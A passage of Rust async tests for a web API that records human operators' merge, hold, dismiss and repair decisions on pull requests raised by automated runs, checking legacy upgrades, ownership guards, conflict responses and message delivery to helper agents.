12661    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12662        let fx = Fixture::start().await;
12663        let mut state = obsolete_approval_state();
12664        state.status = RunStatus::Landing;
12665        state.parked = true;
12666        state.driver_exited = true;
12667        let mut q = Question::new(
12668            state.id.clone(),
12669            crate::land::APPROVAL_NODE.into(),
12670            "land".into(),
12671            "Superseded PR approval".into(),
12672            "Original review evidence".into(),
12673            vec!["merge".into(), "hold".into()],
12674        );
12675        state.land_approval = Some(crate::run::LandApproval {
12676            question: q.id.clone(),
12677            head: "old-reviewed-head".into(),
12678        });
12679        // The old persisted PR may still say open even when a separate change
12680        // already landed. Dismissal must not use that snapshot to close it.
12681        state.save_under(fx.home.path()).unwrap();
12682        let stale_driver = state.clone();
12683        fx.questions().put(&mut q).unwrap();
12684        let path = fx
12685            .home
12686            .path()
12687            .join("questions")
12688            .join(format!("{}.json", q.id));
12689        let mut legacy = serde_json::to_value(&q).unwrap();
12690        legacy["schema"] = 9.into();
12691        legacy.as_object_mut().unwrap().remove("merge_target");
12692        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12693
12694        // POST without GET tests legacy upgrade and validation at the actual
12695        // entry point, rather than constructing a modern card in the test.
12696        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12697        let answer_path = format!("/api/questions/{}/answer", q.id);
12698        let res = fx.post(&answer_path, Some(&body)).await;
12699        assert_eq!(res.status, 200, "{}", res.body);
12700        let disk = fx.questions().get(&q.id).unwrap();
12701        assert_eq!(
12702            disk.resolution().as_deref(),
12703            Some(crate::merge_decision::DISMISS)
12704        );
12705        assert!(disk.detail.starts_with("Original review evidence"));
12706        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12707        assert_eq!(retired.status, RunStatus::Superseded);
12708        assert_eq!(
12709            serde_json::to_value(&retired.pr).unwrap(),
12710            serde_json::to_value(&state.pr).unwrap()
12711        );
12712        assert!(!retired.merge_decision.as_ref().unwrap().closed);
12713        assert!(!crate::merge_decision::resumable_hold(&retired));
12714        assert!(fx.queue().list().is_empty());
12715        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12716        // A restarted server re-reads the persisted pending list.
12717        let addr = Fixture::serve(
12718            fx.home.path(),
12719            PathBuf::from("/repo/magi"),
12720            launch_idle,
12721            None,
12722        )
12723        .await;
12724        let reconnected = Fixture {
12725            home: fx.home,
12726            addr,
12727        };
12728        let listed = reconnected.get("/api/questions").await.json();
12729        assert!(
12730            listed
12731                .as_array()
12732                .unwrap()
12733                .iter()
12734                .all(|q| q["status"] != "open")
12735        );
12736        assert_eq!(listed[0]["id"], q.id, "history remains available");
12737        assert_eq!(
12738            reconnected.get("/api/health").await.json()["questions_open"],
12739            0
12740        );
12741        assert_eq!(
12742            reconnected
12743                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12744                .await
12745                .status,
12746            409
12747        );
12748        // A late waiter cannot turn the old answer into a new decision.
12749        assert!(
12750            reconnected
12751                .questions()
12752                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12753                .is_err()
12754        );
12755        // The same guard used by claims, repair and publication rejects a
12756        // saved in-memory driver as well as the persisted terminal record.
12757        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12758    }
12759
12760    #[tokio::test]
12761    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12762        let fx = Fixture::start().await;
12763        let mut state = obsolete_approval_state();
12764        state.status = RunStatus::Landing;
12765        state.driver_exited = true;
12766        let mut q = Question::new(
12767            state.id.clone(),
12768            crate::land::APPROVAL_NODE.into(),
12769            "land".into(),
12770            "Obsolete approval".into(),
12771            String::new(),
12772            vec!["merge".into(), "hold".into()],
12773        );
12774        state.land_approval = Some(crate::run::LandApproval {
12775            question: q.id.clone(),
12776            head: "head".into(),
12777        });
12778        state.save_under(fx.home.path()).unwrap();
12779        fx.questions().put(&mut q).unwrap();
12780        let mut task = Task::new(
12781            "Owner".into(),
12782            "Original instruction".into(),
12783            state.repo.clone(),
12784            Source::Human,
12785        );
12786        task.runs = vec![state.id.clone(), "later-run".into()];
12787        fx.queue().put(&mut task).unwrap();
12788        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12789        let claim = fx.queue().claim(&task.id).unwrap();
12790        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12791        let path = format!("/api/questions/{}/answer", q.id);
12792        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12793        assert!(fx.questions().get(&q.id).unwrap().status.open());
12794        drop(claim);
12795        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12796        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12797        assert!(fx.questions().get(&q.id).unwrap().status.open());
12798        drop(publication);
12799        // Unknown liveness and armed auto-merge both fail without settling.
12800        state.driver_exited = false;
12801        state.driver_pid = None;
12802        state.driver_claimed = None; // No durable proof of an unstarted execution.
12803        state.save_under(fx.home.path()).unwrap();
12804        assert_eq!(
12805            state.liveness_under(fx.home.path(), false),
12806            crate::run::Liveness::Unknown
12807        );
12808
12809        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12810        state.driver_exited = true;
12811        state.land_armed_head = Some("head".into());
12812        state.save_under(fx.home.path()).unwrap();
12813        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12814        state.land_armed_head = None;
12815        state.save_under(fx.home.path()).unwrap();
12816        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12817        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12818        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12819    }
12820
12821    #[tokio::test]
12822    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12823        let fx = Fixture::start().await;
12824        let mut state = obsolete_approval_state();
12825        state.status = RunStatus::Landing;
12826        state.driver_exited = true;
12827        let mut q = Question::new(
12828            state.id.clone(),
12829            crate::land::APPROVAL_NODE.into(),
12830            "land".into(),
12831            "Obsolete approval".into(),
12832            String::new(),
12833            vec!["merge".into(), "hold".into()],
12834        );
12835        state.land_approval = Some(crate::run::LandApproval {
12836            question: q.id.clone(),
12837            head: "head".into(),
12838        });
12839        state.save_under(fx.home.path()).unwrap();
12840        fx.questions().put(&mut q).unwrap();
12841        let mut task = Task::new(
12842            "Owner".into(),
12843            "Original instruction".into(),
12844            state.repo.clone(),
12845            Source::Human,
12846        );
12847        task.runs.push(state.id.clone());
12848        task.status = TaskStatus::Parked;
12849        fx.queue().put(&mut task).unwrap();
12850        // Model a crash after the run stop was persisted but before the queue
12851        // and answered question were flushed. Retrying must finish, not resume.
12852        state.merge_decision = Some(crate::merge_decision::Decision {
12853            question: q.id.clone(),
12854            target: crate::merge_decision::Target {
12855                pr: state.pr.as_ref().unwrap().url.clone(),
12856                head: "head".into(),
12857                language: "ja".into(),
12858            },
12859            choice: crate::merge_decision::DISMISS.into(),
12860            closed: false,
12861            replacement_run: None,
12862            replacement_pr: None,
12863        });
12864        state.status = RunStatus::Superseded;
12865        state.save_under(fx.home.path()).unwrap();
12866        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12867        let path = format!("/api/questions/{}/answer", q.id);
12868        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12869        let done = fx.queue().get(&task.id).unwrap();
12870        assert_eq!(done.status, TaskStatus::Done);
12871        assert_eq!(done.runs, task.runs);
12872        assert_eq!(done.instruction, task.instruction);
12873        assert!(done.action_applied(&q.id));
12874        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12875        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12876        assert!(!fx.questions().get(&q.id).unwrap().status.open());
12877    }
12878
12879    #[tokio::test]
12880    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12881        let home = TempDir::new().unwrap();
12882        let ui = Arc::new(Ui::new(
12883            Queue::at(home.path().join("queue")),
12884            Questions::at(home.path().join("questions")),
12885            Talks::at(home.path().join("talks")),
12886            home.path().join("runs"),
12887            home.path().to_owned(),
12888            home.path().to_owned(),
12889        ));
12890        let talks = &ui.talks;
12891        let chat =
12892            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12893        let mut q = Question::new(
12894            "run".into(),
12895            crate::land::APPROVAL_NODE.into(),
12896            "land".into(),
12897            "Merge?".into(),
12898            String::new(),
12899            vec!["merge".into(), "hold".into()],
12900        );
12901        q.routed_task = Some("task".into());
12902        q.routed_chat = Some(chat.id.clone());
12903        q.merge_target = Some(crate::merge_decision::Target {
12904            pr: "https://example.test/pull/1".into(),
12905            head: "head-a".into(),
12906            language: "en".into(),
12907        });
12908        ui.questions.put(&mut q).unwrap();
12909        let send = |body| {
12910            question_answer(
12911                State(ui.clone()),
12912                Path(q.id.clone()),
12913                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12914            )
12915        };
12916        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12917        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12918        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12919        assert!(send(wrong_chat).await.is_err());
12920        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12921        assert!(send(stale).await.is_err());
12922        assert!(ui.questions.get(&q.id).unwrap().status.open());
12923        assert!(send(button.clone()).await.is_ok());
12924        assert_eq!(
12925            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12926            Some("merge")
12927        );
12928        assert!(send(button).await.is_err());
12929    }
12930
12931    #[tokio::test]
12932    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12933        let home = TempDir::new().unwrap();
12934        let ui = Arc::new(Ui::new(
12935            Queue::at(home.path().join("queue")),
12936            Questions::at(home.path().join("questions")),
12937            Talks::at(home.path().join("talks")),
12938            home.path().join("runs"),
12939            home.path().to_owned(),
12940            home.path().to_owned(),
12941        ));
12942        for choice in [crate::land::APPROVE, crate::land::HOLD] {
12943            let mut q = Question::new(
12944                "run".into(),
12945                crate::land::APPROVAL_NODE.into(),
12946                "land".into(),
12947                "Merge?".into(),
12948                String::new(),
12949                vec!["merge".into(), choice.into()],
12950            );
12951            q.routed_task = Some("task".into());
12952            q.merge_target = Some(crate::merge_decision::Target {
12953                pr: "https://example.test/pull/1".into(),
12954                head: "head-a".into(),
12955                language: "en".into(),
12956            });
12957            ui.questions.put(&mut q).unwrap();
12958            let answer = |c: &str| {
12959                question_answer(
12960                    State(ui.clone()),
12961                    Path(q.id.clone()),
12962                    Ok(Json(
12963                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12964                            .unwrap(),
12965                    )),
12966                )
12967            };
12968            let _ = answer(choice).await.unwrap();
12969            assert_eq!(
12970                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12971                Some(choice)
12972            );
12973        }
12974    }
12975
12976    #[tokio::test]
12977    async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12978        let home = TempDir::new().unwrap();
12979        let ui = Arc::new(Ui::new(
12980            Queue::at(home.path().join("queue")),
12981            Questions::at(home.path().join("questions")),
12982            Talks::at(home.path().join("talks")),
12983            home.path().join("runs"),
12984            home.path().to_owned(),
12985            home.path().to_owned(),
12986        ));
12987        let mut q = Question::new(
12988            "run".into(),
12989            crate::github_text::ASK_NODE.into(),
12990            "posting-gate".into(),
12991            "Post?".into(),
12992            String::new(),
12993            vec!["use fallback".into()],
12994        );
12995        q.routed_task = Some("task".into());
12996        ui.questions.put(&mut q).unwrap();
12997        let sent = question_answer(
12998            State(ui.clone()),
12999            Path(q.id.clone()),
13000            Ok(Json(
13001                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
13002                    .unwrap(),
13003            )),
13004        )
13005        .await;
13006        let _ = sent.unwrap();
13007        assert_eq!(
13008            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13009            Some("use fallback")
13010        );
13011    }
13012
13013    #[tokio::test]
13014    async fn merge_decision_api_persists_exact_target_and_selected_action() {
13015        let fx = Fixture {
13016            home: TempDir::new().unwrap(),
13017            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13018        };
13019        for choice in [
13020            crate::land::HOLD,
13021            crate::land::REPAIR,
13022            crate::land::APPROVE,
13023            crate::merge_decision::WITHDRAW,
13024            "reimplement:beta",
13025        ] {
13026            let mut q = Question::new(
13027                "old-run".into(),
13028                crate::land::APPROVAL_NODE.into(),
13029                "land".into(),
13030                "Decision".into(),
13031                "Review findings".into(),
13032                vec![
13033                    "merge".into(),
13034                    "hold".into(),
13035                    crate::land::REPAIR.into(),
13036                    crate::merge_decision::WITHDRAW.into(),
13037                    "reimplement:beta".into(),
13038                ],
13039            );
13040            q.merge_target = Some(crate::merge_decision::Target {
13041                pr: "https://github.com/example/repo/pull/42".into(),
13042                head: "exact-reviewed-head".into(),
13043                language: "ja".into(),
13044            });
13045            q.consult = Some(ask::ChatConsult {
13046                talk: "another-conversation".into(),
13047                at: jiff::Timestamp::now(),
13048            });
13049            fx.questions().put(&mut q).unwrap();
13050            let ui = Arc::new(Ui::new(
13051                fx.queue(),
13052                fx.questions(),
13053                fx.talks(),
13054                fx.runs(),
13055                fx.home.path().into(),
13056                std::path::PathBuf::from("."),
13057            ));
13058            let response = question_answer(
13059                State(ui.clone()),
13060                Path(q.id.clone()),
13061                Ok(Json(NewAnswer {
13062                    choice: Some(choice.into()),
13063                    text: None,
13064                    ..Default::default()
13065                })),
13066            )
13067            .await
13068            .unwrap();
13069            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13070            let disk = fx.questions().get(&q.id).unwrap();
13071            assert_eq!(disk.merge_target, q.merge_target);
13072            assert_eq!(disk.consult, q.consult);
13073            assert_eq!(disk.resolution().as_deref(), Some(choice));
13074            assert!(
13075                question_answer(
13076                    State(ui),
13077                    Path(q.id.clone()),
13078                    Ok(Json(NewAnswer {
13079                        choice: Some("merge".into()),
13080                        text: None,
13081                        ..Default::default()
13082                    }))
13083                )
13084                .await
13085                .is_err(),
13086                "an already settled decision cannot turn into merge approval"
13087            );
13088        }
13089    }
13090
13091    #[tokio::test]
13092    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13093        let fx = Fixture {
13094            home: TempDir::new().unwrap(),
13095            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13096        };
13097        let mut state = crate::land::tests::repair_state(true, true);
13098        state.status = RunStatus::Landing;
13099        state.parked = true;
13100        state.driver_exited = true;
13101        let mut task = Task::new(
13102            "Existing PR owner".into(),
13103            state.instruction.clone(),
13104            state.repo.clone(),
13105            Source::Human,
13106        );
13107        task.runs.push(state.id.clone());
13108        task.status = TaskStatus::Parked;
13109        fx.queue().put(&mut task).unwrap();
13110        let mut q = Question::new(
13111            state.id.clone(),
13112            crate::land::APPROVAL_NODE.into(),
13113            "land".into(),
13114            "Contested merge".into(),
13115            "Original evidence".into(),
13116            vec!["merge".into(), "hold".into()],
13117        );
13118        state.land_approval = Some(crate::run::LandApproval {
13119            question: q.id.clone(),
13120            head: "reviewed-head".into(),
13121        });
13122        state.save_under(fx.home.path()).unwrap();
13123        fx.questions().put(&mut q).unwrap();
13124        // A later repair answer on this old card supersedes this manual hold.
13125        task.hold_manual(Some("Pause this PR".into()));
13126        fx.queue().put(&mut task).unwrap();
13127        // POST directly, without a preceding GET: validation must see the
13128        // same durable upgrade that the card, CLI and chat see.
13129        let ui = Arc::new(Ui::new(
13130            fx.queue(),
13131            fx.questions(),
13132            fx.talks(),
13133            fx.runs(),
13134            fx.home.path().to_path_buf(),
13135            state.repo.clone(),
13136        ));
13137        let response = question_answer(
13138            State(ui),
13139            Path(q.id.clone()),
13140            Ok(Json(NewAnswer {
13141                choice: Some(crate::land::REPAIR.into()),
13142                text: None,
13143                ..Default::default()
13144            })),
13145        )
13146        .await
13147        .unwrap();
13148        assert_eq!(response.0.question.id, q.id);
13149        let upgraded = fx.questions().get(&q.id).unwrap();
13150        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
13151        assert!(upgraded.detail.starts_with("Original evidence"));
13152        let claim = fx.queue().claim(&task.id).unwrap();
13153        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13154        assert!(
13155            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
13156            "an existing driver keeps its claim"
13157        );
13158        drop(claim);
13159        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13160        let resumed = fx.queue().get(&task.id).unwrap();
13161        assert_eq!(
13162            resumed
13163                .resume_override
13164                .as_ref()
13165                .unwrap()
13166                .pinned_run
13167                .as_deref(),
13168            Some(state.id.as_str())
13169        );
13170        assert!(resumed.status.runnable());
13171        assert_eq!(resumed.instruction, task.instruction);
13172        assert_eq!(resumed.runs, task.runs);
13173        assert!(resumed.action_applied(&q.id));
13174        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
13175        assert_eq!(fx.queue().list().len(), 1);
13176        assert_eq!(
13177            fx.queue().get(&task.id).unwrap().resume_override,
13178            resumed.resume_override
13179        );
13180        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
13181        assert!(
13182            disk.merge_repairs.is_empty(),
13183            "only the claimed run driver may execute repair"
13184        );
13185        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
13186    }
13187
13188    #[tokio::test]
13189    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
13190        let fx = Fixture::start().await;
13191        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13192        let path = format!("/api/questions/{id}/answer");
13193
13194        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
13195        assert_eq!(res.status, 200, "{}", res.body);
13196        let body = res.json();
13197        assert_eq!(body["status"], "answered");
13198        assert_eq!(body["answer"]["choice"], "Redis");
13199
13200        // Answered from the terminal in between the list and the tap: the UI
13201        // must be able to tell this from a bad request, so it can show the
13202        // recorded answer instead of an error.
13203        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
13204        assert_eq!(again.status, 409, "{}", again.body);
13205        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
13206    }
13207
13208    #[tokio::test]
13209    async fn fresh_api_answers_survive_task_inquiry_migration() {
13210        use crate::{ask::ChoiceAction, task_decision::Status, task_inquiry::Outbox};
13211        for migrate_first in [false, true] {
13212            let fx = Fixture::start().await;
13213            let mut task = Task::new(
13214                "work".into(),
13215                "work".into(),
13216                PathBuf::from("/repo/magi"),
13217                Source::Human,
13218            );
13219            task.runs.push("run-a".into());
13220            fx.queue().put(&mut task).unwrap();
13221            let mut q = Question::new(
13222                "run-a".into(),
13223                "implement".into(),
13224                "impl-A".into(),
13225                "Keep held?".into(),
13226                String::new(),
13227                vec!["hold".into()],
13228            );
13229            q.actions.insert("hold".into(), ChoiceAction::Hold);
13230            fx.questions().put(&mut q).unwrap();
13231            if migrate_first {
13232                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13233            }
13234            let response = fx
13235                .post(
13236                    &format!("/api/questions/{}/answer", q.id),
13237                    Some(r#"{"choice":"hold"}"#),
13238                )
13239                .await;
13240            assert_eq!(response.status, 200, "{}", response.body);
13241            for _ in 0..2 {
13242                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &fx.questions(), fx.home.path());
13243                let source = fx.questions().get(&q.id).unwrap();
13244                assert_eq!(source.resolution().as_deref(), Some("hold"));
13245                let decision = Outbox::at(fx.home.path())
13246                    .get(&q.id)
13247                    .unwrap()
13248                    .decision
13249                    .unwrap();
13250                assert_eq!(decision.request.as_deref(), Some("decision: hold"));
13251                assert_eq!(decision.source_answer_at, source.answered_at);
13252                assert_eq!(decision.status, Status::Queued);
13253            }
13254            assert_eq!(
13255                fx.post(
13256                    &format!("/api/questions/{}/answer", q.id),
13257                    Some(r#"{"choice":"hold"}"#)
13258                )
13259                .await
13260                .status,
13261                409
13262            );
13263        }
13264    }
13265
13266    #[tokio::test]
13267    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
13268        let home = tempfile::tempdir().unwrap();
13269        let ui = delta_test_ui(home.path());
13270        let mut q = Question::new(
13271            "task".into(),
13272            crate::land::APPROVAL_NODE.into(),
13273            "land".into(),
13274            "Explain?".into(),
13275            String::new(),
13276            vec!["hold".into()],
13277        );
13278        q.deputy = Some(ask::Deputy::new("context".into()));
13279        ui.questions.put(&mut q).unwrap();
13280        let mut cfg = stub_config();
13281        cfg.daemon.max_deputies = 0;
13282        let mut status = crate::daemon::Status::new();
13283        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13284        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
13285        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13286        let error = question_say(
13287            State(ui.clone()),
13288            Path(q.id.clone()),
13289            Ok(Json(NewSay {
13290                body: "Explain the findings".into(),
13291            })),
13292        )
13293        .await
13294        .unwrap_err();
13295        assert_eq!(
13296            error.text_reason,
13297            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
13298        );
13299        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13300
13301        let mut text = Question::new(
13302            "task".into(),
13303            "ask".into(),
13304            "operator".into(),
13305            "Which name?".into(),
13306            String::new(),
13307            vec![],
13308        );
13309        ui.questions.put(&mut text).unwrap();
13310        let Json(view) = question_answer(
13311            State(ui.clone()),
13312            Path(text.id.clone()),
13313            Ok(Json(NewAnswer {
13314                choice: None,
13315                text: Some("chosen name".into()),
13316                ..Default::default()
13317            })),
13318        )
13319        .await
13320        .unwrap();
13321        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
13322        assert!(!ui.questions.get(&text.id).unwrap().status.open());
13323    }
13324
13325    #[tokio::test]
13326    async fn question_text_handler_admission_without_transport() {
13327        let home = tempfile::tempdir().unwrap();
13328        let ui = delta_test_ui(home.path());
13329        let mut q = Question::new(
13330            "task".into(),
13331            crate::land::APPROVAL_NODE.into(),
13332            "land".into(),
13333            "May this PR merge?".into(),
13334            String::new(),
13335            vec!["hold".into()],
13336        );
13337        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
13338        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13339        ui.questions.put(&mut q).unwrap();
13340        let say = || {
13341            Ok(Json(NewSay {
13342                body: "Explain the findings".into(),
13343            }))
13344        };
13345        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13346            .await
13347            .unwrap_err();
13348        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13349        let response = rejected.into_response();
13350        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
13351            .await
13352            .unwrap();
13353        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
13354        assert_eq!(body["code"], "question_text_unavailable");
13355        assert_eq!(body["reason"], "deputy_exhausted");
13356        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
13357        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
13358        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
13359        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
13360            .await
13361            .unwrap();
13362        assert_eq!(view.text_delivery.state, "live");
13363        assert!(view.question.waiter.is_none());
13364        assert!(view.question.cwd.is_none());
13365        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
13366        ui.questions.drop_lease(&q.id);
13367        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
13368            .await
13369            .unwrap_err();
13370        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
13371        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
13372        let _ = question_answer(
13373            State(ui.clone()),
13374            Path(q.id.clone()),
13375            Ok(Json(NewAnswer {
13376                choice: Some("hold".into()),
13377                text: None,
13378                ..Default::default()
13379            })),
13380        )
13381        .await
13382        .unwrap();
13383        assert_eq!(
13384            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13385            Some("hold")
13386        );
13387    }
13388
13389    #[tokio::test]
13390    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
13391        let fx = Fixture::start().await;
13392        let store = fx.questions();
13393        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
13394        store
13395            .update(&id, |q| {
13396                q.node = crate::land::APPROVAL_NODE.to_owned();
13397                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
13398                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
13399                Ok(())
13400            })
13401            .unwrap();
13402        let path = format!("/api/questions/{id}/say");
13403        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13404        assert_eq!(refused.status, 422, "{}", refused.body);
13405        assert!(
13406            refused.json()["error"]
13407                .as_str()
13408                .unwrap()
13409                .contains("deputy_exhausted")
13410        );
13411        assert!(store.get(&id).unwrap().thread.is_empty());
13412
13413        // A final live deputy is usable even with no ordinary waiter/cwd.
13414        store.beat(&id, ask::WaiterKind::Deputy);
13415        let view = fx.get("/api/questions").await.json();
13416        assert_eq!(view[0]["text_delivery"]["state"], "live");
13417        let accepted = fx
13418            .post(&path, Some(r#"{"body":"explain the findings"}"#))
13419            .await;
13420        assert_eq!(accepted.status, 200, "{}", accepted.body);
13421        let before = std::fs::read(store.path_of(&id)).unwrap();
13422
13423        // The recipient exits between rendering and sending. Rejection must
13424        // preserve previously accepted text, the answer and delivery cursor.
13425        store.drop_lease(&id);
13426        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
13427        assert_eq!(refused.status, 422, "{}", refused.body);
13428        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13429        let held = fx
13430            .post(
13431                &format!("/api/questions/{id}/answer"),
13432                Some(r#"{"choice":"hold"}"#),
13433            )
13434            .await;
13435        assert_eq!(held.status, 200, "{}", held.body);
13436        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
13437    }
13438
13439    #[tokio::test]
13440    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
13441        let repo = tempfile::tempdir().unwrap();
13442        let mut cfg = stub_config();
13443        cfg.daemon.max_deputies = 0;
13444        std::fs::write(
13445            repo.path().join("magi.toml"),
13446            toml::to_string(&cfg).unwrap(),
13447        )
13448        .unwrap();
13449        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13450        let mut status = crate::daemon::Status::new();
13451        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
13452        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
13453        let id = ask(&fx, "Explain?", &["hold"]);
13454        fx.questions()
13455            .update(&id, |q| {
13456                q.node = crate::land::APPROVAL_NODE.into();
13457                q.deputy = Some(ask::Deputy::new("context".into()));
13458                q.deputy.as_mut().unwrap().agent = "stub".into();
13459                Ok(())
13460            })
13461            .unwrap();
13462        cfg.daemon.max_deputies = 1;
13463        std::fs::write(
13464            repo.path().join("magi.toml"),
13465            toml::to_string(&cfg).unwrap(),
13466        )
13467        .unwrap();
13468        let view = fx.get("/api/questions").await.json();
13469        assert_eq!(view[0]["deputies_enabled"], true);
13470        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
13471        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
13472        let res = fx
13473            .post(
13474                &format!("/api/questions/{id}/say"),
13475                Some(r#"{"body":"Please explain"}"#),
13476            )
13477            .await;
13478        assert_eq!(res.status, 422, "{}", res.body);
13479        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13480    }
13481
13482    #[tokio::test]
13483    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13484        let fx = Fixture::start().await;
13485        let id = ask(&fx, "No seat", &[]);
13486        let store = fx.questions();
13487        let before = std::fs::read(store.path_of(&id)).unwrap();
13488        let res = fx
13489            .post(
13490                &format!("/api/questions/{id}/say"),
13491                Some(r#"{"body":"hello"}"#),
13492            )
13493            .await;
13494        assert_eq!(res.status, 422, "{}", res.body);
13495        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13496        let res = fx
13497            .post(
13498                &format!("/api/questions/{id}/answer"),
13499                Some(r#"{"text":"hello"}"#),
13500            )
13501            .await;
13502        assert_eq!(res.status, 200, "{}", res.body);
13503        assert_eq!(
13504            store.get(&id).unwrap().resolution().as_deref(),
13505            Some("hello")
13506        );
13507    }
13508
13509    #[tokio::test]
13510    async fn saying_something_appends_a_turn_without_answering() {
13511        let fx = Fixture::start().await;
13512        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13513        fx.questions().beat(&id, ask::WaiterKind::Asker);
13514        let path = format!("/api/questions/{id}/say");
13515
13516        let res = fx
13517            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13518            .await;
13519        assert_eq!(res.status, 200, "{}", res.body);
13520        let body = res.json();
13521        assert_eq!(body["status"], "open", "talking back is not a decision");
13522        assert_eq!(body["answer"], Value::Null);
13523        assert_eq!(body["thread"][0]["who"], "operator");
13524        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13525        assert_eq!(body["waiting_on_agent"], true);
13526        // Still open, still counted, still exactly one question.
13527        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13528    }
13529
13530    #[tokio::test]
13531    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13532        let fx = Fixture::start().await;
